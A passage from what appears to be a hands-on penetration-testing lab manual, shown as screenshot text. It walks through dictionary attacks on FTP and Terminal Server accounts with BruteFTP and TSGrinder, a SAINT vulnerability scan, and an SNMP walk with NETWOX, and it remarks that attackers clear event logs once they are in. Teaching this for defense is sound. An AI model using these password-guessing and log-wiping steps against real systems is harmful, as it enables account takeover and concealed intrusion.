🗿 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🔐 Windows 2000 Professional 🗿 Red Hat Linux 👔 Red Hat Linux 8 Server 🗿 Windows 2000 Server 👔	Windows 4 🕨 🗙
My Documents Remote	
My Computer	
a - Wa Caratina Library Techallar Techall Browner, Wa Cara	
My Network Welcome to the Ascentive Library Installer Install program.	
nation in the second seco	
Recycle Bin	
It is strongly recommended that before proceeding, you ensure that no other Windows programs are running.	
œ	
Internet Explorer	
If you do not wish to install Ascentive Library Installer, click 'Exit'	
La lapy	
< <u>₽ack</u> <u>Next</u> > E <u>xi</u> t	
2xSniffer	
Image: Start I	後島 🗐 12:40 PM
Accept the default Installation Directory. Click Next.

📑 Windows 2000 Professional - VMware	Workstation			- 🗆 ×
File Edit View VM Team Windows	Help			
A Home Windows 2000 Profession	al 📳 Red Hat Linux 🛛 🛐 Re	d Hat Linux 8 Server 🛛 🔓 Wind	ows 2000 Server 🛛 🌆 Windows	4 ▶ x
My Documents Remote Desktop				
My Computer				
My Network	Ascentive Library Installe	r Install Program - Dir 📃 🖃 will be installed in the following	×	
Places	C:\Windows\System		1	
3	Disk space needed :	7 Mb		
Recycle Bin	Available disk space :	2913 Mb		
6				
(C)				
Explorer				
	Click "Ne	d' to continue.		
LanSpy				
6	-			
∎ `` 7x5offer	<u> < B</u> ac	k <u>N</u> ext> E <u>x</u> it		
EX.SHITCH				
4				
LibnetNT.dl				
Start C C C C C C	ads GE:1X1Windo	ws\bruteftp10	Library Inst	12:40 PM
			2	

The Directory Installation file will probably not be there already. Click **Yes** to have the application create the directory.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🔓 Home 🛛 🔀 Windows 2000 Professional 🗿 Red Hat Linux 🛛 👘 Red Hat Linux 8 Server 📑 Windows 2000 Server	🗓 Windows 4 🕨 🗙
My Documents Remote	
Desktop	
My Computer	
🖉 🖳 Ascentive Library Installer Install Program - Dir 💶 🗙	
Max Ascentive Library Installer's files will be installed in the following	
Places directory:	
C: Windows System	
Recycle Bin	
The destination directory doesn't exist. Do you want it to be created?	
e i	
Internet Yes No	
Click 'Next' to continue.	
< <u>Back</u> <u>Next</u> > Egit	
LibnetNT.dl	
Start 2 C:\Downloads	(€ ∰ ∰ 12:40 PM



The files are now ready for installation. Click Start.

During the installation process, you may receive several warnings about files being older than the ones currently on the computer. Select **No** to override any of the files until the installation completes.

🗐 Windows 2000 Professional - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
Home Windows 2000 Professional By Red Hat Linux Br Red Hat Linux 8 Server By Windows 2000 Server	₩indows 4 ► X
My Computer	
Ascentive Library Installer Install Program - Installer (NV) V/ Network Places File: C:\WINNT\System32\MSCDMCTL.ODX	
Ascentive Library Installer Install Program Recycle Bin C (WINIT/System32/MSCOMCTL.OCX The fibraria to area series to units than the fibra to at all	
Do you wank to overwrite the instaled version anyway? Internet Explorer Yes No	
LarSpy	
ZKniffer	
S LibreMT-di	
Start 3 C:\Downloads DE:\X\Windows\bruteftp10 Ascentive Library Inst	🔆 🕮 😰 12:41 PM

Once the application has completed you will be told to restart Windows. Click **Next**.

🗐 Windows 2000 Professional - VMware Workstation	<u>_ ×</u>
File Edit View VM Team Windows Help	
Home Windows 2000 Professional R Red Hit Linux R Red Hit Linux 8 Server R Windows 2000 Se	rver 📊 Windows 4 🕨 🗙
My Computer	
Ascentive Library Installer Install Program - End III X http://tetwork. Places	
You need to restart Windows so that all installed options can take Recycle Bin effect. Click. Restart' if you want to restart Windows immediately.	
Internet Explorer	
Landoy	
ZSriffer	
	4.50
Ascentive Libra	N: BB (2) 12:41 PM

Click Exit.



Open the **BruteFTP** application.



Change the *Server* address from 127.0.0.1 to the target address. In this example it is 172.16.1.40.



Change the username to a known or suspected username on the FTP target. (From previous labs it was determined that a valid username on this target is the Administrator account, which was renamed to Kermit.)

폐 Windows 2000 Professional - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
🛆 Hone 🛛 🔂 Windows 2000 Professional 🕞 Red Hat Linux 🛛 🛱 Red Hat Linux 8 Server 🏻 🐉 Windows 2000 Server 🖉 🖓 Windows	4 > x
My Documents Remote Decktor	
🔏 BruteFTP by -=wĔß JµňkiĔ=-	
My Computer	
My Network	
Server Port Start	
Recycle Bin 172.16.1.40 21 Stop	
kemit 0 of 0 Egit	
Internet	
Explorer	
LanSpy	
3	
ZxSniffer	
Merkenweichunkterkijounne verbaltistert Päge (ES4)	
العام المعالي الم	1:03 PM

Click the ... button by the **dictionary.txt** file and browse to a text document containing a list of passwords, one password per line.



BruteFTP is now ready to start. Click the **Start** button. The BruteFTP application will connect to the server and attempt each password in the password file with the username you assigned. In this example the password of 123 was found for the username Kermit.



*Note: I wanted to demonstrate that knowing the username is half the battle when dealing with user accounts. Many users feel their username is "no big deal," but as you can see from this lab it very well can become a "big deal" to an attacker.

Lab 59: Brute-Force Terminal Server

Brute-Force Terminal Server Passwords: TSGrinder II

Prerequisites: Server running Terminal Server

Countermeasures: Strong router ACLs, session monitoring

Description: TSGrinder is an application designed to brute-force a username's password against a Terminal Server. Terminal Server uses an encrypted channel, which also helps evade Intrusion Detection Systems (IDS). Although a dictionary-based tool, it supports multiple attack windows from the same dictionary file.

Procedure: Start the application with selected options under the following syntax:

```
tsgrinder -u (username) -w (dictionary filename) target
```

In this example from the directory containing the application, type:

tsgrinder -u kermit -p dict 172.16.1.40

- The -u *kermit* tells TSGrinder to use the username Kermit (as identified from previous labs on this target).
- The -w dict tells TSGrinder to use the dictionary file named dict.
- 172.16.1.40 is of course the target IP address.



A remote connection screen will appear in sets of five attempts. The username of Kermit will automatically be placed into the *User name* field and each password, one at a time from the dictionary file, will automatically be placed into the *Password* field.



As each set of five attempts is made, an update to the screen will be displayed.



If the correct password for the username is in the dictionary file, a terminal session will be established momentarily to the target. Either click the **OK** button or simply wait a few seconds and the screen will close automatically.



If the correct password was located, the password will be given. In this example, the password is **123**. Now the attacker can log in "at will" to the server via a Terminal Server session as that user.



*Note: TSGrinder is one of my favorite tools because of its uniqueness and by default the Administrator account cannot be locked out with this method. Keep in mind that each attempt will be logged into the event log; once access is granted, the attacker will simply delete the logs and more than likely turn logging off altogether.

Chapter 8

Vulnerability Scanning

Lab 60: Vulnerability Scanner

Perform Vulnerability Assessment: SAINT

Prerequisites: None

- **Countermeasures:** Secure access control lists (ACLs), Bastion servers/ workstations
- **Description:** SAINT (Security Administrator's Integrated Network Tool) is a security assessment tool based on SATAN. Features include the ability to scan through a firewall, updated security checks from Certification (CERT) and Computer Incident Advisory Centre (CIAC) bulletins, four levels of severity (red, yellow, brown, and green), and a feature-rich HTML interface. Remember that all commands in Linux are *case sensitive*.

Procedure: Install, execute against target, and review the results.

From the directory containing the compressed files, type **gunzip saint-install-5.9.5.gz**.

The **saint-install-5.9.5.gz** file will uncompress and only the **saint-install-5.9.5** file will remain.

*Note: When SAINT is downloaded you are required to enter a valid e-mail address. A temporary License Key will be sent to that address allowing the two specific target IP addresses you requested to be scanned by SAINT. At this point I copy that License Key into the same directory that the saint-install-5.9.5 resides in. Type in chmod a + x saint-install-5.9.5 and press Enter.

- The **chmod** command tells Linux to change permissions of the file.
- The **a** + **x** options tells chmod to allow all users to execute the file.



The next step is to install the SAINT application by typing **./saint-install-5.9.5** and pressing **Enter**.



The installation begins. Press the **Enter** key to read the License Agreement.



You can read the License Agreement one line at a time by pressing the **Enter** key or a page at a time by pressing the **Spacebar**.



Once you have reached the end of the License Agreement, type **yes** and press the **Enter** key.



Press Enter to install the SAINT man page.



Accept the default location for the man pages. Press the Enter key.



Press the **Enter** key to install a SAINT icon on the desktop.



The SAINT installation is now complete.



Now that SAINT is installed you can execute the application by doubleclicking on the **SAINT** icon on the desktop or from the command line.



As we are already in the Linux terminal change to the SAINT directory by typing **cd saint-5.9.5** and pressing **Enter**.



Start the SAINT application from the command line by typing:

./saint



The SAINT application will start by opening the Mozilla browser.



Under Administration Functions on the main page select Configure SAINT Key. Click the Submit button.



The SAINT Key screen appears.



From the License Key sent to the e-mail address you used when downloading SAINT, enter the text from within that file.

*Note: I recommend using the Copy/Paste command with the License file to prevent mistakes.



Scroll down on the right side of the screen and click the **Save SAINT key** button.

Save SAINT key



You will be presented with a warning of *Password Disclosure* if contacting remote servers with SAINT. Click the **Reload** key on the browser.

Confirm the **POSTDATA** warning by clicking **OK**.

🧕 Red Hat Linux - VMware Workstation	_OX
File Edit View VM Team Windows Help	
😰 Windows 2000 Advanced Server 🛛 👔 Red Hat Linux 8 Server 🔄 Windows 2000 Professional 🔐 Red Hat Linux	♦ ▷ X
V Warning - SAINT Password Disclosure - Mozilla	- 8 X
<u>Eile Edit View Go Bookmarks T</u> ools <u>W</u> indow <u>H</u> elp	
Back Forward Relaad Stop	- 10
🖞 Home 🛛 🖞 Bookmarks 🦧 Red Hat Network 🖆 Support 🖆 Shop 🎁 Products 🖆 Training	
Warning - SAINT Password Disclosure	
Confirm Your H The page you are trying to view contains POSTDATA. If you resend the data, any action the form carried out (such as a search or online purchase) will be repeated. To resend the data, click OK. Ortherwise, click Cancel For this r For more	note
This message will appear only once.	
In order to proceed, send a <i>reload</i> command (Ctrl-R with Lynx), or go back to the previous screen and select the same button again.	link or
🐝 🕮 🏏 🔯 Done	
	u Dec 08 5:25 PM
A Your version of VMware Tools is out of date.	

The SAINT Key will be saved.



Click on the **Scan Set-Up** tab along the top of the screen.

As this is a single target scan, enter the target's IP address. In this example, the target IP address is 172.16.1.46.



Click the Add button to the right of the IP address. Add

The target IP address will be shown in the Selected Targets area.



Scroll down the right side of the screen and locate the section labeled **Scanning Level**. Select **Heavy** for the Scanning Level. Select **Perform dan-gerous tests**.



Scroll down to the **Firewall Support** section and select the appropriate option for your environment.



Scroll down to the bottom of the screen and click the Scan Now button.

Red Hat Linux - VMware Wor	kstation	
File Edit View VM Team	Windows Help	
Nindows 2000 Advanced Serv	er 👔 Red Hat Linux 8 Server 👔 Vitindows 2008 Professional 🔐 Red Hat Linux	() X
File Edit View Go Bo	okmarks Tools Window Help	
Back Forward Reloa	the stop d http://localhost.localdomain:33029/37d1115cece257b4 ♥ @ Search	h 🖈 • 🅅
Home Bookmarks	Red Hat Network 🖆 Support 📑 Shop 📫 Products 📑 Training	
SAINT° _	The Standard for Detecting Vulnera	bilities
	C Extensive Firewall Support	
Ruthentication ►	Authentication will result in a more thorough assessment and may reduce false posit Windows Domain Administrator (See <u>security manning</u> .) Login: Password: Linux User (Requires SSH to be numing on each target.) Login: Password: Password: Scan Notu: Scan Later	tives.
🔆 🖾 🏑 🖾 Done	-	-0- a°
40 00		Thu Dec 08 5:28 PM
Your version of VMware Tools is o	ut of date.	

SAINT will now begin scanning the target for any vulnerability it can locate. The results of the scan will be displayed on the screen as they are determined.

*Note: Notice the VCR-type control box that appears on the screen as well. This allows you to **Pause, Stop,** or **View Results in Progress**. Be patient for the results as SAINT may take a while.



Scan Now

SAINT will complete the vulnerability scan. Click on **Continue with report and analysis** at the bottom of the screen.

👰 Red Hat Linux - YMware Workstation	_ U ×
File Edit View VM Team Windows Help	
🚯 Windows 2000 Advanced Server 🛛 🚯 Red Hat Linux 8 Server 🖓 Windows 2000 Professional 🔂 Red Hat Linux	< ⊳ ×
SAINT Data Collection - Mozilla	. = ×
<u>E</u> ile <u>E</u> dit <u>V</u> iew <u>G</u> o <u>B</u> ookmarks <u>T</u> ools <u>W</u> indow <u>H</u> elp	
Image: start	\mathcal{M}
🗄 Home 🛛 🖞 Bookmarks 🥒 Red Hat Network 🖆 Support 🖆 Shop 🖆 Products 🖆 Training	
Running oracle.same a 2105.FCF w2kas.gateway.2wire.net (maximum 45 seconds) Running radia saint 1028 TCP w2kas.gateway.2wire.net (maximum 45 seconds)	*
Running proxy.saint http-connect http w2kas.gateway.2wire.net (maximum 45 seconds)	
Running sybase.saint -u sa 6666:TCP w2kas.gateway.2wire.net (maximum 45 seconds)	
Running sybase.saint -u sa eklogin w2kas.gateway.2wire.net (maximum 45 seconds)	
Running sybase.sam -u sa 210/1CP wzkas.gateway.zwire.net (maximum 45 seconds) Warning: sybase saint w2/3cs gateway.zwire net timed out	
Warning: sybase saint wzkas.gateway.zwie.net timed out	
Warning: https.saint w2kas.gateway.2wire.net timed out	
Processing data	
Running win_login.saint -i 1 -u "" -g 2 -1 "" -2 "%l" -3 "password" -4 "%b" -5 "%l1" -P len=8:hist=24:max=42:min=2:lock=3	
W2Kas.gateway.2wire.net (maximum 240 seconds)	
Processing data Processing data	
© Running win_login.saint -i 2 -u "" -g 2 -1 "" -2 "%l" -3 "password" -4 "%b" -5 "%l1" -P len=8:hist=24:max=42:min=2:lock=3	
w2kas.gateway.2wire.net (maximum 240 seconds)	
Processing data SAINT run completed in coint data concilent	
SANY fun completed in same-data session	
Data collection completed (1 host(s) visited).	
	1
Back to the SAINT start page Continue with report and analysis	*
K El Z El Dono	د
	Dec 08 63 PM
A Your version of VMware Tools is out of date.	5 🖪 //.

Under Report Type select Full Scan Report.



Scroll down to the bottom of the screen and click the **Continue** button. **Continue**



The SAINT Vulnerability Assessment Report will appear.



The results can be analyzed by scrolling down the right side of the screen. In this example, SAINT has identified the following:

- 2 critical problems
- 2 areas of concern
- 18 potential problems
- 32 services



By scrolling further down the screen, SAINT will identify the class of concern from the overall number of vulnerabilities identified. In this example, the target has indentified the following:

- 3 Web vulnerabilities
- 2 Networking/Simple Network Management Protocol (SNMP) vulnerabilities
- 14 Windows operating system (OS) vulnerabilities
- 1 Password vulnerability
- 2 Other vulnerabilities



Further down the screen, SAINT provides a detailed list of the vulnerabilities. Items displayed are as follows:

- Target Host Name
- Criticality severity
- The specific Vulnerability/Service
- The Class
- The CVE (Common Vulnerabilities and Exposure)
- If the vulnerability is a member of the Top 20 list (SysAdmin, Audit, Network, Security [SANS] Top 20)



Scrolling down, the specifics for each vulnerability are listed, as well as the potential impact, possible solution, and results of the vulnerability found. For instance, in this example the Administrator's password was discovered to be 123.



*Note: One of the features I like best is that the SAINT vulnerability scanner provides links where you can download patches or new versions of software that will eliminate the detected vulnerabilities. Although it is not free beyond the two IP limitations for 30-day trial use, SAINT receives a two-thumbs up.

Lab 61: SNMP Walk

Exploit Data via SNMP Walk: NETWOX/NETWAG 🔬

Prerequisites: Simple Network Management Protocol (SNMP) target

- **Countermeasures:** Bastion servers/workstations, host-based firewalls, strong passwords, File Transfer Protocol (FTP) over Secure Socket Layer (SSL)
- **Description:** The NETWOX (NETWork toolbOX) application can be a very dangerous tool in the wrong hands. NETWAG is the GUI interface for NETWOX. In this lab, the tool is used to demonstrate its ability to "walk" the SNMP. SNMP lets you "read" information from a device. SNMP gives its information via a Management Information Base (MIB). MIBs are like directories and are referred to by name or by number. Remember that all commands in Linux are *case sensitive*.
- *Note: Lab 53 demonstrated using NETWOX/NETWAG in a Linux environment. In this lab I will demonstrate the Windows version.
 - **Procedure:** Set the parameters, execute against the target(*s*), and review the results.

Double-click the Netwag icon.



The NETWAG application will start.

💽 Windows 2000 Server - VMware Workstation		- 🗆 ×
File Edit View VM Team Windows Help		
A Home 🔐 Windows 2000 Professional 🔐 Red Hat Linux 🔐 Windows 2000 Server 🔮	Windows 2000 Advanced Server	×
/ netwag		_ 8 ×
File Edit Session Options Help		
Tool Local info Remote info Clipboard		
Sourch Waln Form Dumning Wittown		
Search Help Form Running History		
• sort O tree	🙃 show all C search	
1 : Display network configuration		_
2 : Display debugging information		
3 : Display information about an IP address or a hostname		
4 : Display information about an Athernet address		
5 : Ubtain Athernet addresses of computers in an 19 list		
b : Display now to reach an iF address		
7 : Shiff		
9 : Smith and display Open porcs		
10 . Smiff and display behaviork statistics		
10 . Shifi and display necesik scatistics		
12 : Dignlow which volves to use for networ persectors		
12 : Obtain DLT time for sniff and speed for each device		
14 . Speed a record		
15 : Display content of a record		
16 : Convert a record		
17 : Recompute checksums of packets in a record		
18 : Reassemble IP packets of a record, and reorder TCP flow		
19 : Extract a range of packets from a record		
20 : Search for strings in packets from a record		
21 : Convert a number		
22 : Convert a string		
23 : Display ASCII table		
24 : Convert IP addresses ranges		
25 : Test if a directory is secure		
26 : Dump a file		
1		
Linked with netwox version 5.25.0		î
This version contains 197 tools		
		-
🛱 Start 🕜 🖉 🛱 🖾 📁 🕜 🖉 netwag		1:49 PM
A Your uprion of Whure Taols is out of data		
A roa version or winnare roots is out or date.		

Highlight item #160: **SNMP Walk**.

💽 Windows 2000 Server - VMware Workstation		_O×
File Edit View VM Team Windows Help		
A Home 🔓 Windows 2000 Professional 🕞 Red Hat Linux 🔐 Windows 2000 Serv	er 🚯 Windows 2000 Advanced Server	×
/ netwag		_ 8 ×
File Edit Session Options Help		
Tool Local info Remote info Clipboard		
Search Help Form Running History		
€ sort C tree	🖲 show all C search	
149 : Ping ICMP6 Neighbor Discovery (EthIp spoof)		-
150 : Scan ICMP6 Neighbor Discovery		
151 : Scan ICMP6 Neighbor Discovery (EthIp spoof)		
152 : Interactive IRC client		
153 : IRC client listing channels		
154 : IRC client listening on a channel		
155 : Network performance measurement : TCP server		
156 : Network performance measurement : TCP client		
157 : Network performance measurement : UDP server		
158 : Network performance measurement : UDP client		
159 : SHMP Get	This listbox contains the	
160 : SNMP Walk	all is showned this list	
161 : SNMP Trap	contains every tool If	
162 : SNMP Trap2	"Search" is checked this	
163 : SNMP Inform	list contains the result of	
164 : SNMP Set	the search.	
165 : TFTP client : get a file		
166 : TFTP client : put a file		
167 : TFTP server		
168 : FTP server		
169 : Display simple network configuration easy to parse		
170 : TELNET server		
171 : DHCP client		
172 : List articles range of a newsgroup		
173 : Download overview of one, or more, newsgroup messages		
174 : FTP client : get a file and check its MDS		
		<u> -</u>
Linked with netwox version 5 25 0		-
This version contains 197 tools		
		-
🚓 Start 🛛 🖉 🛱 🖬 📁 🖉 🗍 🖉 netwag	0	1:50 PM
A Your version of VMware Tools is out of date.	2	

By clicking on the **Help** tab you display the syntax of the tool.

The top section of the screen illustrates the correct syntax and examples of each tool selected. In this example, by clicking on the **Example** button you place the text into the center white block of the screen. This is the execution section. This is the syntax that will be executed and should be modified to run against the target.

The lowest section contains the status of the tool's execution.

🗐 Windows 2000 Server - VMware Workstation	_ 🗆 🗵
File Edit View VM Team Windows Help	
A Home in windows 2000 Professional in Red Hat Linux windows 2000 Server in windows 2000 Advanced Server	×
Checkwag	_ 면 스
nie zak session opdans nep	
Tool Local into Remote into Clipboard	
Search Help Form Running History	
Tool number : 160	<u> </u>
Title: SNMP Walk	
This tool requests a WALK on a SNMP server. It permits to retrieve the	
value of one item, and of successive ones.	
1 '1.3.6.1.2.1.1.4.0'	
Parameterversion defines SNMP version to use (from 1 to 3).	
Versions 1 and 2 needcommunity parameter to set community name.	_
i indicates if nd5 authentication is used. Parameters	
authoritativeengineid,authoritativeengineboots,	
authoritativeenginetime,contextengineid andcontextname are	
optional version 3 parameters.	
Parameter display shows packets.	
I Parameterdst-in is the address of remote host/server.	
Parameterdst-port is the port number where to connect.	
Optional parameter src-ip defines the local IP address to use.	
Optional parametersrc-port defines the local port number to use.	
Optional parameterip4opts permits to add IP4 options encoded as	
1 Integrational parameterinferts permits to add TP6 options encoded as	
Example Usage Run it I	▼ Update ▼
	Run
	TINU
Linked with netwox version 5.25.0	<u> </u>
	-
🗿 Start 🛛 🖉 🛱 🖾 🖾 🎯 🖉 netwag	₽
Your version of VMware Tools is out of date.	

In this example, there is an SNMP server located at **172.16.1.46**. Click on the **Form** button at the top of the application. Type the IP of the target in the **dst-ip** field. Click the **Generate** button and view the syntax to be executed in the execution section (the white area below the Form section).

🔊 Windows 2000 Server - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🔓 Windows 2000 Professional 🔐 Red Hat Linux 🔐 Windows 2000 Server 👔 Windows 2000 Advance	id Server 🗙 🗙
/ netwag	_ 181 × 1
File Edit Session Options Help	
Tool Local info Remote info Clipboard	
Search Help Form Running History	
Parameters for tool 160 (SNMP Walk):	-
V 172.16.1.46 h dst-ip: destination IP address	
<pre>****** * community: SNMPv1/v2 community</pre>	
.0.1 h oid: OID to query	
Advanced parameters:	
Lo0 Ink0 device: device name	
Eth0	
0:2:3:4:5:6 h src-eth: source ethernet address	
0:8:9:a:b:c h dst-eth: destination ethernet address	
172.16.1.40 h src-ip: source IP address	
0 - + h src-port: source port number	
161 - + h dst-port: destination port number	
h ip4opts: IPv4 options	
h ip6exts: IPv6 extensions	
I - + h version: SNMP version (1, 2 or 3)	
Generate Run it Contract Reset	🕻 Update 🕇
160dst-ip 172.16.1.46oid ".0.1"	A Run
linked with network version E 2E 0	t
This version contains 197 tools	
	<u> </u>
🙀 Start 🛛 🕼 🗊 🖾 🖉 🗍 🦸 netwag	🗐 🕮 🌾 1:57 PM
A Your version of VMware Tools is out of date.	

Click on the **Run it again** button. View the results. The results of this lab identify the target operating system and the target hostname.

🗃 Windows 2000 Server - VMware Workstation	
File Edit View VM Team Windows Help	
🚡 Home 📓 Windows 2000 Professional 🗿 Red Hat Linux 🛛 🕂 Windows 2000 Server 🐘 Windows 2000 Advanced Server	×
/ netwag	181 XI
File Filt Session Ontions Help	
Total mile kase mile cripberd	
Search Help Form Running History	
Command 160dst-ip 172.16.1.46oid ".0.1" :	
1.3.6.1.2.1.1.1.0: 'Hardware: x86 Family 6 Model 9 Stepping 8 AT/AT COMPATIBLE - Software: Windows 2000 Ver	sio
.1.3.6.1.2.1.1.2.0: .1.3.6.1.4.1.311.1.1.3.1.2	
.1.3.6.1.2.1.1.3.0: 164165	
.1.3.6.1.2.1.1.4.0:	
1.3.6.1.2.1.1.5.0: 'W2KAS'	
.1.3.6.1.2.1.1.6.0:	
.1.3.6.1.2.1.1.7.0: 76	
.1.3.6.1.Z.1.Z.1.0: Z	
.1.3.6.1.2.1.2.2.1.1.1: 1	
1.3.6.1.2.1.2.2.1.1.16777219: 16777219	
1.3.6.1.2.1.2.2.1.2.1: "IS 100 LOOPDACK INTERTACE" OD	
1.3.6.1.2.1.2.2.1.2.10//219: WHO PONEL Family Schernet Adapter 00	
1 3 6 1 2 1 2 2 1 3 16 17 2 1 3	
1 2 5 1 2 1 2 2 1 4 3 1 100	
1 2 5 1 2 1 2 2 1 4 15 77219- 1500	
1 2 5 1 2 1 2 2 1 5 1- 1000000	
1 2 6 1 2 1 2 2 1 5 1677219- 10000000	
1 3 6 1 2 1 2 2 1 6 1	
1 3 5 1 2 1 2 2 1 5 16777219: 000c '1' 97 '2N'	
136121221711	
1 3 6 1 2 1 2 2 1 7 16777219: 1	
1.3.6.1.2.1.2.2.1.6.1: 1	
) F
Copy command Run it again 1	
160ast-1p 1/2.16.1.46old ".0.1"	Run
	□ NW
	++
This version contains 197 tools	-
Running "160dst-ip 172.16.1.46oid ".0.1""	
Tool finished its job	-
🏦 Start 🛛 🖉 🍘 🖾 🕲 🗍 🧯 netwag 🕼 🗐 🖉 2:1	3 PM
🛕 Your version of VMware Tools is out of date.	(I)) //.

Hardware information on the target includes the following:

- Target has an A: drive.
- Target has a D: drive.
- Target has a fixed disk.
- Target uses a three-button mouse, with a wheel.
- Target uses a 101-keyboard layout.
- Target has a printer port.
- Target has two COM ports.

폐 Windows 2000 Server - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
A Home 🔐 Windows 2000 Professional 👔 Red Hat Linux 🔐 Windows 2000 Server 🕼 Windows 2000 Advanced	Server 🗙
/ netwag	_ 8 ×
File Edit Session Options Help	
Tool Local info Remote info Clipboard	
Search Help Form Running History	
.1.3.6.1.2.1.25.3.2.1.2.10: .1.3.6.1.2.1.25.3.1.17	<u> </u>
1.3.6.1.2.1.25.3.2.1.2.11: .1.3.6.1.2.1.25.3.1.17	
1.3.6.1.2.1.25.3.2.1.3.2: 'MS TCP Loopback interface'	
1.1.3.6.1.2.1.25.3.2.1.3.3: 'AMD PCNET Family Ethernet Adapter'	
1.1.3.6.1.2.1.25.3.2.1.3.4: 'A:' 5c	
1.1.3.6.1.2.1.25.3.2.1.3.5: 'D:' 5e	
1.1.3.6.1.2.1.25.3.2.1.3.6: 'Fixed Disk'	
13.5.1.21.25.3.2.1.3.7. 'Be emanded (101- 01 102-rey) Reyboard, Subcype-(0)	_
1.1.3.6.1.2.1.25.3.2.1.3.9: 'LPT1:'	
1.1.3.6.1.2.1.25.3.2.1.3.10: 'COM1:'	
1.3.6.1.2.1.25.3.2.1.3.11: 'COM2:'	
1.1.3.6.1.2.1.25.3.2.1.4.1: .0.0	
1.1.3.6.1.2.1.25.3.2.1.4.2: 0.0	
1.1.3.6.1.2.1.25.3.2.1.4.3: .0.0	
1.3.6.1.2.1.2.3.2.1.4.5.0.0	
.1.3.6.1.2.1.25.3.2.1.4.6: .0.0	
1.3.6.1.2.1.25.3.2.1.4.7: .0.0	
1.3.6.1.2.1.25.3.2.1.4.8: .0.0	
1.1.3.6.1.2.1.25.3.2.1.4.9: .0.0	
1.1.3.6.1.2.1.25.3.2.1.4.10: .0.0	
1.1.2.5.1.2.1.2.2.2.2.1.4.11: .0.0	
1) v
Copy command Run it again	
160dst-ip 172.16.1.46oid ".0.1"	^ Run
This version contains 197 tools	<u> </u>
Running "160dst-ip 172.16.1.46oid ".0.1""	
Tool finished its job	<u>•</u>
🏂 Start 🛛 🙆 🛱 🖾 🖾 🖉 🗍 🦨 netwag	🗐 🚅 🥀 2:15 PM
A Your version of VMware Tools is out of date.	
The target provides a convenient list of Hotfixes that have been installed.

🗐 Windows 2000 Server - VMware Workstation	_ 🗆 ×
File Edit View VM Team Windows Help	
🛆 Home 🛛 🚡 Windows 2000 Professional 🛛 🙀 Red Hat Linux 🛛 🖶 Windows 2000 Server 🏻 🚱 Windows 2000 Advanced Se	erver 🗙
/ netwag	_ 8 ×
File Edit Session Options Help	
Tool Local info Remote info Clipboard	
Search Help Form Running History	
.1.3.6.1.2.1.25.6.3.1.2.1: 'Internet Explorer Q867801'	<u> </u>
1.1.3.6.1.2.1.25.6.3.1.2.2: 'Windows 2000 Hotfix - KB820888'	
1.3.6.1.2.1.25.6.3.1.2.3: 'Windows Media Services Hottix - KB822343'	
1.3.6.1.2.1.25.6.3.1.2.5: 'Windows 2000 Hotfix - KB823182'	
1.3.6.1.2.1.25.6.3.1.2.6: 'Windows 2000 Hotfix - KB823559'	
1.3.6.1.2.1.25.6.3.1.2.7: 'Windows 2000 Hotfix - KB824105'	
1.3.6.1.2.1.25.6.3.1.2.8: 'Windows 2000 Hotfix - KB825119'	
1.1.3.6.1.2.1.25.6.3.1.2.9; 'Windows 2000 Hottix - KB26232'	
1.3.6.1.2.1.2.6.3.1.2.10: "Windows 2000 Hottix - KB22003"	
1.3.6.1.2.1.25.6.3.1.2.12: 'Windows 2000 Hotfix - KB828749'	
1.3.6.1.2.1.25.6.3.1.2.13: 'Windows Media Services Hotfix - KB832359'	
1.3.6.1.2.1.25.6.3.1.2.14: 'Windows 2000 Hotfix - KB835732'	
1.3.6.1.2.1.25.6.3.1.2.15: 'Windows 2000 Hotfix - KB837001'	
1.3.6.1.2.1.25.6.3.1.2.16: 'Windows 2000 Hotfix - KB839643'	
1.1.3.6.1.2.1.25.6.3.1.2.17: 'Windows 2000 Hotfix - KB839645'	-
1.1.3.6.1.2.1.25.6.3.1.2.18: 'Windows 2000 Hotfix - KB840315'	
1 3 6 1 2 1 2 5 6 3 1 2 5 6 1 2 20 1 1 2 00 Hot fix - KD041072	
1.3.6.1.2.1.2.6.3.1.2.21: 'Windows 2000 Hotfix - KB842526'	
1.3.6.1.2.1.25.6.3.1.2.22: 'Hicrosoft Data Access Components KB870669'	
1.3.6.1.2.1.25.6.3.1.2.23: Microsoft .NET Framework (English) v1.0.3705	
1.3.6.1.2.1.25.6.3.1.2.24: 'mxORB'	
fel	E
Copy command Run it again 2	
160dst-ip 172.16.1.46oid ".0.1"	A Run
P	- I 100
This version contains 197 tools	^
Running "160dst-ip 172.16.1.46oid ".0.1""	_
Tool finished its job	•
😹 Start 🛛 🚰 🍘 🖾 🍘 🖉 🌒 🖉	🕼 🗐 🌾 2:20 PM
⚠ Your version of VMware Tools is out of date.	

A list of software installed on the target is provided.

*Note: This list is not an all-inclusive list. This list of software is identified in the Add/Remove Programs sections on the target.

🔊 Windows 2000 Server - VMware Workstation	_ 🗆 🗙
File Edit View VM Team Windows Help	
A Home 🚡, Windows 2000 Professional 🕵 Red Hat Linux 🕞 Windows 2000 Server 🔈 Windows 2000 Advanced 3	Server 🗙
l netwag	_ 8 ×
File Edit Session Options Help	
Tool Local info Remote info Clipboard	
Search Help Form Running History	
.1.3.6.1.2.1.25.6.3.1.2.25: 'NoSpamToday! SMTP Proxy Version 2.0'	<u> </u>
1.3.6.1.2.1.25.6.3.1.2.26: 'Outlook Express Q823353'	
1.3.6.1.2.1.25.6.3.1.2.27: 'Unniquad mailwall' .1.3.6.1.2.1.25.6.3.1.2.28: 'Windows Media Player Hotfix [See 0828026 for more information]'	
1.3.6.1.2.1.25.6.3.1.2.29: 'Fluffy the SMTPGuardDog'	
.1.3.6.1.2.1.25.6.3.1.2.30: 'WinZip'	
1.3.6.1.2.1.25.6.3.1.2.31: 'Microsoft FrontPage Client - English'	
1.1.3.6.1.2.1.25.6.3.1.2.33: 'WebFldrs'	
1.3.6.1.2.1.25.6.3.1.2.34: 'Pinjo revealer'	
1.3.6.1.2.1.25.6.3.1.2.35: 'SpamPal manual (English-language)'	
1.3.6.1.2.1.25.6.3.1.2.36: 'HICTOSOFT .NET FRAMEWORK (English) VI.U.3705'	
1.1.3.6.1.2.1.2.6.3.1.2.38: 'Microsoft .NET Framework 1.1'	
1.3.6.1.2.1.25.6.3.1.2.39: 'Visual Studio.NET Baseline - English'	
